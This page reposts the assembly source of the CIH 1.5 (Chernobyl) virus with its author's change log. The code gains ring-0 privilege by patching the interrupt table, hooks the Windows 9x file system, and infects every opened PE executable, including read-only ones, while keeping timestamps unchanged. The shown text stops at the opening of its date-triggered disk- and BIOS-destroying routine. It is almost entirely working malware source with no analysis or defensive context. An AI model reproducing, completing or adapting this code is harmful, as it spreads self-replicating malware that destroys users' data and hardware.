CIH 1.5 源代码

cih病毒源代码 cih病毒源代码 来源:http://www.292775.com/news/new/w12/200507/11924.html ****************************************************************************; * The Virus Program Information * ; *******************... 阅读详情
; ****************************************************************************
; *                  The Virus Program Information                 *
; ****************************************************************************
; *                                                 *
; *   Designer : CIH             Source : TTIT of TATUNG in Taiwan   *
; *   Create Date : 04/26/1998       E-mail : WinCIH.Tatung@usa.net     *
; *   Modification Time : 06/01/1998   Version : 1.5                 *
; *                                                 *
; *   Turbo Assembler Version 5.0   : Tasm /m cih                   *
; *   Turbo Link Version 5.01     : Tlink /3 /t cih, cih.exe         *
; *                                                         *
; *==========================================================================*
; *                  Modification History                       *
; *==========================================================================*
; *      v1.0      1. Create the Virus Program.                       *
; *            2. The Virus Modifies IDT to Get Ring0 Privilege.         *
; * 04/26/1998 3. Virus Code doesn't Reload into System.             *
; *            4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; *            5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; *            6. When System Opens Existing PE File, the File will be     *
; *           Infected, and the File doesn't be Reinfected.         *
; *            7. It is also Infected, even the File is Read-Only.       *
; *            8. When the File is Infected, the Modification Date and Time *
; *               of the File also don't be Changed.                 *
; *            9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; *               Previous FileSystemApiHook, it will Call the Function   *
; *               that the IFS Manager Would Normally Call to Implement   *
; *               this Particular I/O Request.                     *
; *           10. The Virus Size is only 656 Bytes.                 *
; *==========================================================================*
; *      v1.1      1. Especially, the File that be Infected will not Increase   *
; *               it's Size...   ^__^                                 *
; * 05/15/1998      2. Hook and Modify Structured Exception Handing.         *
; *               When Exception Error Occurs, Our OS System should be in   *
; *               Windows NT. So My Cute Virus will not Continue to Run,   *
; *               it will Jmup to Original Application to Run.               *
; *            3. Use Better Algorithm, Reduce Virus Code Size.         *
; *            4. The Virus "Basic" Size is only 796 Bytes.               *
; *==========================================================================*
; *      v1.2      1. Kill All HardDisk, and BIOS... Super... Killer...         *
; *            2. Modify the Bug of v1.1                           *
; * 05/21/1998      3. The Virus "Basic" Size is 1003 Bytes.               *
; *==========================================================================*
; *      v1.3      1. Modify the Bug that WinZip Self-Extractor Occurs Error.   *
; *               So When Open WinZip Self-Extractor ==> Don't Infect it.   *
; * 05/24/1998      2. The Virus "Basic" Size is 1010 Bytes.               *
; *==========================================================================*
; *      v1.4      1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; *            2. Change the Date of Killing Computers.               *
; * 05/31/1998      3. Modify Virus Version Copyright.                     *
; *            4. The Virus "Basic" Size is 1019 Bytes.               *
; ****************************************************************************
; *   v1.5   1. Full Modify the Bug : Change Harddisk Killing Port     *
; *         2. Modify Virus Version Copyright.                   *
; * 06/01/1998 3. Clear Garbage in Source Code.                   *
; *         4. The Virus "Small" Size in 10xx Bytes.               *
; ****************************************************************************

          .586

; ****************************************************************************
; *         Original PE Executable File(Don't Modify this Section)     *
; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader:
          db     04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
          db     004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
          db     0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
          db     00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
          db     021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
          db     069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
          db     061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
          db     074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
          db     020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
          db     06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
          db     024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
          db     0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
          db     00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
          db     000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
          db     000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
          db     004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
          db     000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
          db     000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
          db     000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
          db     000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
          db     000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
          db     000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
          db     0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
           dd      00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; *               My Virus Game                           *
; ****************************************************************************

; *********************************************************
; *             Constant Define             *
; *********************************************************

TRUE                  =      1
FALSE                  =      0

DEBUG                  =      TRUE

IF      DEBUG

    FirstKillHardDiskNumber =     82h
    HookExceptionNumber   =     06h

ELSE

    FirstKillHardDiskNumber =     81h
    HookExceptionNumber   =     04h

ENDIF


FileNameBufferSize      =      7fh

; *********************************************************
; *********************************************************

VirusGame           SEGMENT

                ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
                ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; *         Ring3 Virus Game Initial Program       *
; *********************************************************

MyVirusStart:
                 push      ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT.   *
; *************************************

                 lea      eax, [esp-04h*2]
                 xor      ebx, ebx
                 xchg      eax, fs:[ebx]
                 call      @0
@0:
                 pop      ebx
                 lea      ecx, StopToRunVirusCode-@0[ebx]
                 push      ecx
                 push      eax

; *************************************
; * Let's Modify               *
; * IDT(Interrupt Descriptor Table)   *
; * to Get Ring0 Privilege...       *
; *************************************

                 push      eax            ;
                sidt   [esp-02h]     ; Get IDT Base Address
                pop   ebx         ;
                add   ebx, HookExceptionNumber*08h+04h ; ZF = 0
                 cli
                mov   ebp, [ebx]     ; Get Exception Base
                mov   bp, [ebx-04h]   ; Entry Point
                lea   esi, MyExceptionHook-@1[ecx]
                 push      esi
                 mov      [ebx-04h], si            ;
                 shr      esi, 16                  ; Modify Exception
                 mov      [ebx+02h], si            ; Entry Point Address
                 pop      esi

; *************************************
; * Generate Exception to Get Ring0   *
; *************************************

                 int      HookExceptionNumber      ; GenerateException
ReturnAddressOfEndException      =      $

; *************************************
; * Merge All Virus Code Section     *
; *************************************

                 push      esi
                 mov      esi, eax

LoopOfMergeAllVirusCodeSection:

                 mov      ecx, [eax-04h]
                 rep      movsb
                 sub      eax, 08h
                 mov      esi, [eax]
                 or      esi, esi
                 jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
                 jmp      LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

                 pop      esi

; *************************************
; * Generate Exception Again       *
; *************************************

                 int      HookExceptionNumber      ; GenerateException Again

; *************************************
; * Let's Restore               *
; * Structured Exception Handing     *
; *************************************

ReadyRestoreSE:
                 sti
                 xor      ebx, ebx
                 jmp      RestoreSE

; *************************************
; * When Exception Error Occurs,     *
; * Our OS System should be in NT.   *
; * So My Cute Virus will not       *
; * Continue to Run, it Jmups to     *
; * Original Application to Run.     *
; *************************************

StopToRunVirusCode:
@1                  =      StopToRunVirusCode

                 xor      ebx, ebx
                 mov      eax, fs:[ebx]
                 mov      esp, [eax]

RestoreSE:
                 pop      dword ptr fs:[ebx]
                 pop      eax

; *************************************
; * Return Original App to Execute   *
; *************************************

                 pop      ebp
                push   00401000h     ; Push Original
OriginalAddressOfEntryPoint      =      $-4      ; App Entry Point to Stack
                ret   ; Return to Original App Entry Point

; *********************************************************
; *         Ring0 Virus Game Initial Program       *
; *********************************************************

MyExceptionHook:
@2                  =      MyExceptionHook
                 jz      InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !?   *
; *************************************

                 mov      ecx, dr0
                 jecxz      AllocateSystemMemoryPage
                 add      dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program   *
; *************************************

ExitRing0Init:
                 mov      [ebx-04h], bp      ;
                 shr      ebp, 16            ; Restore Exception
                 mov      [ebx+02h], bp      ;
                 iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

                 mov      dr0, ebx      ; Set the Mark of My Virus Exist in System
                 push      00000000fh      ;
                 push      ecx            ;
                 push      0ffffffffh      ;
                 push      ecx            ;
                 push      ecx            ;
                 push      ecx            ;
                 push      000000001h      ;
                 push      000000002h      ;
                 int      20h            ; VMMCALL _PageAllocate
_PageAllocate            =      $            ;
                 dd      00010053h      ; Use EAX, ECX, EDX, and flags
                 add      esp, 08h*04h
                 xchg      edi, eax      ; EDI = SystemMemory Start Address
                 lea      eax, MyVirusStart-@2[esi]
                 iretd      ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook   *
; *************************************

InstallMyFileSystemApiHook:

                 lea      eax, FileSystemApiHook-@6[edi]

                 push      eax ;
                 int      20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =     $
                 dd     00400067h      ; Use EAX, ECX, EDX, and flags
                 mov      dr0, eax      ; Save OldFileSystemApiHook Address
                 pop      eax      ; EAX = FileSystemApiHook Address
                 ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
                 mov      ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
                 mov      edx, [ecx]
                 mov      OldInstallFileSystemApiHook-@3[eax], edx
                 ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
                 lea      eax, InstallFileSystemApiHook-@3[eax]
                 mov      [ecx], eax
                 cli
                 jmp      ExitRing0Init

; *********************************************************
; *         Code Size of Merge Virus Code Section   *
; *********************************************************

CodeSizeOfMergeVirusCodeSection            =      offset $

; *********************************************************
; *         IFSMgr_InstallFileSystemApiHook       *
; *********************************************************

InstallFileSystemApiHook:
                 push      ebx
                 call      @4      ;
@4:                              ;
                 pop      ebx      ; mov ebx, offset FileSystemApiHook
                 add      ebx, FileSystemApiHook-@4      ;
                 push      ebx
                 int      20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook      =      $
                 dd     00400068h      ; Use EAX, ECX, EDX, and flags
                 pop      eax
                 ; Call Original IFSMgr_InstallFileSystemApiHook
                 ; to Link Client FileSystemApiHook
                 push      dword ptr [esp+8]
                 call      OldInstallFileSystemApiHook-@3[ebx]
                 pop      ecx
                 push      eax
                 ; Call Original IFSMgr_InstallFileSystemApiHook
                 ; to Link My FileSystemApiHook
                 push      ebx
                 call      OldInstallFileSystemApiHook-@3[ebx]
                 pop      ecx
                 mov      dr0, eax      ; Adjust OldFileSystemApiHook Address
                 pop      eax
                 pop      ebx
                 ret

; *********************************************************
; *                  Static Data               *
; *********************************************************

OldInstallFileSystemApiHook      dd      ?

; *********************************************************
; *         IFSMgr_FileSystemHook               *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3                  =      FileSystemApiHook

                 pushad
                call   @5      ;
@5:                              ;
                pop   esi      ; mov esi, offset VirusGameDataStartAddress
                add   esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !?               *
; *************************************

                 test      byte ptr (OnBusy-@6)[esi], 01h      ; if ( OnBusy )
                 jnz      pIFSFunc                  ; goto pIFSFunc

; *************************************
; * Is OpenFile !?             *
; *************************************

                 ; if ( NotOpenFile )
                 ; goto prevhook
                 lea      ebx, [esp+20h+04h+04h]
                 cmp      dword ptr [ebx], 00000024h
                 jne      prevhook

; *************************************
; * Enable OnBusy               *
; *************************************

                 inc      byte ptr (OnBusy-@6)[esi]      ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber,     *
; * then Set the DriveName to       *
; * FileNameBuffer.             *
; *************************************
; * Ex. If DriveNumber is 03h,     *
; *   DriveName is 'C:'.         *
; *************************************

                 add      esi, FileNameBuffer-@6
                 push      esi
                 mov      al, [ebx+04h]
                 cmp      al, 0ffh
                 je      CallUniToBCSPath
                 add      al, 40h
                 mov      ah, ':'
                 mov      [esi], eax
                 inc      esi
                 inc      esi

; *************************************
; * UniToBCSPath               *
; *************************************
; * This Service Converts         *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the     *
; * Specified BCS Character Set.     *
; *************************************

CallUniToBCSPath:
                 push      00000000h
                 push      FileNameBufferSize
                 mov      ebx, [ebx+10h]
                 mov      eax, [ebx+0ch]
                 add      eax, 04h
                 push      eax
                 push      esi
                 int      20h      ; VXDCall UniToBCSPath
UniToBCSPath            =      $
                 dd      00400041h
                 add      esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !?         *
; *************************************

                 cmp      [esi+eax-04h], 'EXE.'
                 pop      esi
                 jne      DisableOnBusy

IF      DEBUG

; *************************************
; * Only for Debug             *
; *************************************

                 cmp      [esi+eax-06h], 'KCUF'
                 jne      DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !?       *
; *************************************

                 ; if ( NotOpenExistingFile )
                 ; goto DisableOnBusy
                 cmp      word ptr [ebx+18h], 01h
                 jne      DisableOnBusy

; *************************************
; * Get Attributes of the File     *
; *************************************

                 mov      ax, 4300h
                 int      20h      ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO      =      $
                 dd      00400032h
                 jc      DisableOnBusy
                 push      ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address   *
; *************************************

                 mov      edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
                 mov      edi, [edi]

; *************************************
; * Is Read-Only File !?         *
; *************************************

                 test      cl, 01h
                 jz      OpenFile

; *************************************
; * Modify Read-Only File to Write   *
; *************************************

                 mov      ax, 4301h
                 xor      ecx, ecx
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File                 *
; *************************************

OpenFile:
                 xor      eax, eax
                 mov      ah, 0d5h
                 xor      ecx, ecx
                 xor      edx, edx
                 inc      edx
                 mov      ebx, edx
                 inc      ebx
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO
                 xchg      ebx, eax      ; mov ebx, FileHandle

; *************************************
; * Need to Restore             *
; * Attributes of the File !?       *
; *************************************

                 pop      ecx
                 pushf
                 test      cl, 01h
                 jz      IsOpenFileOK

; *************************************
; * Restore Attributes of the File   *
; *************************************

                 mov      ax, 4301h
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !?           *
; *************************************

IsOpenFileOK:
                 popf
                 jc      DisableOnBusy

; *************************************
; * Open File Already Succeed.   ^__^ *
; *************************************

                 push      esi      ; Push FileNameBuffer Address to Stack

                 pushf            ; Now CF = 0, Push Flag to Stack

                 add      esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader   *
; ***************************

                 xor      eax, eax
                 mov      ah, 0d6h
                 ; For Doing Minimal VirusCode's Length,
                 ; I Save EAX to EBP.
                 mov      ebp, eax
                 push      00000004h
                 pop      ecx
                 push      0000003ch
                 pop      edx
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO
                 mov      edx, [esi]

; ***************************
; * Get 'PE/0' Signature   *
; * of ImageFileHeader, and *
; * Infected Mark.       *
; ***************************

                 dec      edx
                 mov      eax, ebp
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !?           *
; ***************************
; * Is the File         *
; * Already Infected !?   *
; ***************************
; * WinZip Self-Extractor   *
; * doesn't Have Infected   *
; * Mark Because My Virus   *
; * doesn't Infect it.     *
; ***************************

                 cmp      dword ptr [esi], 00455000h
                 jne      CloseFile

; *************************************
; * The File is             ^o^ *
; * PE(Portable Executable) indeed.   *
; *************************************
; * The File isn't also Infected.   *
; *************************************

; *************************************
; * Start to Infect the File       *
; *************************************
; * Registers Use Status Now :     *
; *                       *
; * EAX = 04h                 *
; * EBX = File Handle           *
; * ECX = 04h                 *
; * EDX = 'PE/0/0' Signature of     *
; *     ImageFileHeader Pointer's   *
; *       Former Byte.           *
; * ESI = DataBuffer Address ==> @8   *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump :               *
; *                       *
; * ESP => ------------------------- *
; *     │     EFLAG(CF=0)   │ *
; *     ------------------------- *
; *     │ FileNameBufferPointer │ *
; *     ------------------------- *
; *     │       EDI       │ *
; *     ------------------------- *
; *     │       ESI       │ *
; *     ------------------------- *
; *     │       EBP       │ *
; *     ------------------------- *
; *     │       ESP       │ *
; *     ------------------------- *
; *     │       EBX       │ *
; *     ------------------------- *
; *     │       EDX       │ *
; *     ------------------------- *
; *     │       ECX       │ *
; *     ------------------------- *
; *     │       EAX       │ *
; *     ------------------------- *
; *     │   Return Address   │ *
; *     ------------------------- *
; *************************************

                 push      ebx      ; Save File Handle
                 push      00h      ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the       *
; * Virus' Infected Mark   *
; ***************************

                 push      01h      ; Size
                 push      edx      ; Pointer of File
                 push      edi      ; Address of Buffer

; ***************************
; * Save ESP Register     *
; ***************************

                 mov      dr1, esp

; ***************************
; * Let's Set the       *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

                 push      eax      ; Size

; ***************************
; * Let's Read         *
; * Image Header in File   *
; ***************************

                 mov      eax, ebp
                 mov      cl, SizeOfImageHeaderToRead
                 add      edx, 07h ; Move EDX to NumberOfSections
                 call      edi       ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the       *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; *   Address of Buffer   ) *
; ***************************

                 lea      eax, (AddressOfEntryPoint-@8)[edx]
                 push      eax      ; Pointer of File
                 lea      eax, (NewAddressOfEntryPoint-@8)[esi]
                 push      eax      ; Address of Buffer

; ***************************
; * Move EDX to the Start   *
; * of SectionTable in File *
; ***************************

                 movzx      eax, word ptr (SizeOfOptionalHeader-@8)[esi]
                 lea      edx, [eax+edx+12h]

; ***************************
; * Let's Get           *
; * Total Size of Sections *
; ***************************

                 mov      al, SizeOfScetionTable
                 ; I Assume NumberOfSections <= 0ffh
                 mov      cl, (NumberOfSections-@8)[esi]
                 mul      cl

; ***************************
; * Let's Set Section Table *
; ***************************

                 ; Move ESI to the Start of SectionTable
                 lea      esi, (StartOfSectionTable-@8)[esi]
                 push      eax      ; Size
                 push      edx      ; Pointer of File
                 push      esi      ; Address of Buffer

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus   *
; * Code Section Table Must *
; * be Small or Equal the   *
; * Unused Space Size of   *
; * Following Section Table *
; ***************************

                 inc      ecx
                 push      ecx      ; Save NumberOfSections+1
                 shl      ecx, 03h
                 push      ecx      ; Save TotalSizeOfVirusCodeSectionTable

                 add      ecx, eax
                 add      ecx, edx
                 sub      ecx, (SizeOfHeaders-@9)[esi]
                 not      ecx
                 inc      ecx
                 ; Save My Virus First Section Code
                 ; Size of Following Section Table...
                 ; ( Not Include the Size of Virus Code Section Table )
                 push      ecx
                 xchg      ecx, eax      ; ECX = Size of Section Table
                 ; Save Original Address of Entry Point
                 mov      eax, (AddressOfEntryPoint-@9)[esi]
                 add      eax, (ImageBase-@9)[esi]
                 mov      (OriginalAddressOfEntryPoint-@9)[esi], eax
                 cmp      word ptr [esp], small CodeSizeOfMergeVirusCodeSection
                 jl      OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

                 mov      eax, ebp
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Full Modify the Bug :   *
; * WinZip Self-Extractor   *
; * Occurs Error...       *
; ***************************
; * So When User Opens     *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the   *
; * PointerToRawData in the *
; * Second Section Table,   *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'......     *
; ***************************

                 xchg      eax, ebp
                 push      00000004h
                 pop      ecx
                 push      edx
                 mov      edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
                 add      edx, 12h
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO
                cmp   dword ptr [esi], 'piZniW'
                 je      NotSetInfectedMark
                 pop      edx

; ***************************
; * Let's Set Total Virus   *
; * Code Section Table     *
; ***************************

                 ; EBX = My Virus First Section Code
                 ;      Size of Following Section Table
                 pop      ebx
                 pop      edi      ; EDI = TotalSizeOfVirusCodeSectionTable
                 pop      ecx      ; ECX = NumberOfSections+1
                 push      edi            ; Size
                 add      edx, ebp
                 push      edx            ; Pointer of File
                 add      ebp, esi
                 push      ebp            ; Address of Buffer

; ***************************
; * Set the First Virus   *
; * Code Section Size in   *
; * VirusCodeSectionTable   *
; ***************************

                 lea      eax, [ebp+edi-04h]
                 mov      [eax], ebx

; ***************************
; * Let's Set My Virus     *
; * First Section Code     *
; ***************************

                 push      ebx      ; Size
                 add      edx, edi
                 push      edx      ; Pointer of File
                 lea      edi, (MyVirusStart-@9)[esi]
                 push      edi      ; Address of Buffer

; ***************************
; * Let's Modify the     *
; * AddressOfEntryPoint to *
; * My Virus Entry Point   *
; ***************************

                 mov      (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data     *
; ***************************

                 lea      edx, [esi-SizeOfScetionTable]
                 mov      ebp, offset VirusSize
                 jmp      StartToWriteCodeToSections

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCodeToSections:

                 add      edx, SizeOfScetionTable
                 mov      ebx, (SizeOfRawData-@9)[edx]
                 sub      ebx, (VirtualSize-@9)[edx]
                 jbe      EndOfWriteCodeToSections
                 push      ebx      ; Size
                 sub      eax, 08h
                 mov      [eax], ebx
                 mov      ebx, (PointerToRawData-@9)[edx]
                 add      ebx, (VirtualSize-@9)[edx]
                 push      ebx      ; Pointer of File
                 push      edi      ; Address of Buffer
                 mov      ebx, (VirtualSize-@9)[edx]
                 add      ebx, (VirtualAddress-@9)[edx]
                 add      ebx, (ImageBase-@9)[esi]
                 mov      [eax+4], ebx
                 mov      ebx, [eax]
                 add      (VirtualSize-@9)[edx], ebx

                 ; Section contains initialized data ==> 00000040h
                 ; Section can be Read.         ==> 40000000h
                 or      (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

                 sub      ebp, ebx
                 jbe      SetVirusCodeSectionTableEndMark
                 add      edi, ebx      ; Move Address of Buffer

EndOfWriteCodeToSections:

                 loop      LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfectedMark:
                 mov      esp, dr1
                 jmp      WriteVirusCodeToFile

; ***************************
; * Not Set Infected Mark   *
; ***************************

NotSetInfectedMark:
                 add      esp, 3ch
                 jmp      CloseFile

; ***************************
; * Set Virus Code       *
; * Section Table End Mark *
; ***************************

SetVirusCodeSectionTableEndMark:

                 ; Adjust Size of Virus Section Code to Correct Value
                 add      [eax], ebp
                 add      [esp+08h], ebp

                 ; Set End Mark
                 xor      ebx, ebx
                 mov      [eax-04h], ebx

; ***************************
; * When VirusGame Calls   *
; * VxDCall, VMM Modifies   *
; * the 'int 20h' and the   *
; * 'Service Identifier'   *
; * to 'Call [XXXXXXXX]'.   *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First.   ^__^   *
; ***************************

                 lea      eax, (LastVxDCallAddress-2-@9)[esi]
                 mov      cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
                 mov      word ptr [eax], 20cdh
                 mov      edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
                 mov      [eax+2], edx
                 movzx      edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
                 sub      eax, edx
                 loop      LoopOfRestoreVxDCallID

; ***************************
; * Let's Write         *
; * Virus Code to the File *
; ***************************

WriteVirusCodeToFile:
                 mov      eax, dr1
                 mov      ebx, [eax+10h]
                 mov      edi, [eax]

LoopOfWriteVirusCodeToFile:

                 pop      ecx
                 jecxz      SetFileModificationMark
                 mov      esi, ecx
                 mov      eax, 0d601h
                 pop      edx
                 pop      ecx
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO
                 jmp      LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==>   *
; * Need to Restore File   *
; * Modification Time     *
; ***************************

SetFileModificationMark:
                 pop      ebx
                 pop      eax
                 stc            ; Enable CF(Carry Flag)
                 pushf

; *************************************
; * Close File                 *
; *************************************

CloseFile:
                 xor      eax, eax
                 mov      ah, 0d7h
                 call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !?                   *
; *************************************

                 popf
                 pop      esi
                 jnc      IsKillComputer

; *************************************
; * Restore File Modification Time   *
; *************************************

                 mov      ebx, edi
                 mov      ax, 4303h
                 mov      ecx, (FileModificationTime-@7)[esi]
                 mov      edi, (FileModificationTime+2-@7)[esi]
                 call      ebx      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy             *
; *************************************

DisableOnBusy:
                 dec      byte ptr (OnBusy-@7)[esi]      ; Disable OnBusy

; *************************************
; * Call Previous FileSystemApiHook   *
; *************************************

prevhook:
                 popad
                 mov      eax, dr0      ;
                 jmp      [eax]            ; Jump to prevhook

; *************************************
; * Call the Function that the IFS   *
; * Manager Would Normally Call to   *
; * Implement this Particular I/O   *
; * Request.                 *
; *************************************

pIFSFunc:
                 mov      ebx, esp
                 push      dword ptr [ebx+20h+04h+14h]      ; Push pioreq
                 call      [ebx+20h+04h]                  ; Call pIFSFunc
                 pop      ecx                        ;
                 mov      [ebx+1ch], eax      ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq.     *
; ***************************

                 cmp      dword ptr [ebx+20h+04h+04h], 00000024h
                 jne      QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

                 mov      eax, [ecx+28h]
                 mov      (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus'       *
; * IFSMgr_FileSystemHook   *
; ***************************

QuitMyVirusFileSystemHook:

                 popad
                 ret

; *************************************
; * Kill Computer !? ...   *^_^*     *
; *************************************

IsKillComputer:
                 ; Get Now Day from BIOS CMOS
                 mov      al, 07h
                 out      70h, al
                 in      al, 71h
                xor   al, 01h ; ??/26/????

IF      DEBUG
                 jmp      DisableOnBusy
ELSE
                 jnz      DisableOnBusy
ENDIF

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
